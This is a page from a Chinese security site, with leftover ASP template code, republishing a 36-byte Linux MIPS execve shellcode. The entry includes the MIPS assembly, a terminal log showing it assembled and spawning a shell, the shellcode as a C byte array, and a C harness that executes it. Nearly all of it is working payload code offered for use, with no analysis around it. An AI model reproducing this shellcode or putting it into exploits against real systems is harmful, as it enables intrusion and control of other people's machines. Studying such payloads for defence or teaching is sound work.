<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("Linux,MIPS,execve") PageTitle=stripHTML("Linux MIPS execve (36 bytes)") ArticleIntro=stripHTML("") Articlecontent=stripHTML("           # Exploit Title: 36byte Linux MIPS execve # Date: 2015 - 1 - 20 # Exp…") ModuleName = stripHTML("exploits") InfoID = stripHTML("182321") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> Linux MIPS execve (36 bytes) - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> shellcode >> 正文

Linux MIPS execve (36 bytes)

2015/3/11 作者:不详 来源: 华盟收集
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

 

 

 

 

 

 

 

 

 

 

 

# Exploit Title: 36byte Linux MIPS execve
# Date: 2015 - 1 - 20
# Exploit Author: Sanguine
# Vendor Homepage: http://sangu1ne.tistory.com/
  
  
#include <stdio.h>
/*
Sanguine@debian-mipsel:~/leaveret# cat > MIPS_36b_sc.s
.section .text
.globl __start
.set noreorder
__start:
slti $a2, $zero, -1   #set a1 to zero
p:
bltzal $a2, p            #not branch always and save ra
slti $a1, $zero, -1   #set a1 to zero
addu $a0, $ra, 4097       #a0 + 16
addu $a0, $a0, -4081
li $v0, 4011
syscall  0x40404
.string "/bin/sh"
Sanguine@debian-mipsel:~/leaveret# as MIPS_36b_sc.s -o MIPS_36b_sc.o
Sanguine@debian-mipsel:~/leaveret# ld MIPS_36b_sc.o -o MIPS_36b_sc
Sanguine@debian-mipsel:~/leaveret# ./MIPS_36b_sc
$ exit
  
*/
char sc[] = {
    "\xff\xff\x06\x28" /* slti $a2, $zero, -1 */
    "\xff\xff\xd0\x04" /* bltzal $a2, <p> */
    "\xff\xff\x05\x28" /* slti $a1, $zero, -1  */
    "\x01\x10\xe4\x27" /* addu $a0, $ra, 4097 */
    "\x0f\xf0\x84\x24" /* addu $a0, $a0, -4081 */
    "\xab\x0f\x02\x24" /* li $v0, 4011  */
    "\x0c\x01\x01\x01" /* syscall  0x40404 */
    "/bin/sh"
};
  
void
main(void)
{
    void (*s)(void);
    printf("sc size %d\n", sizeof(sc));
    s = sc;
    s();
}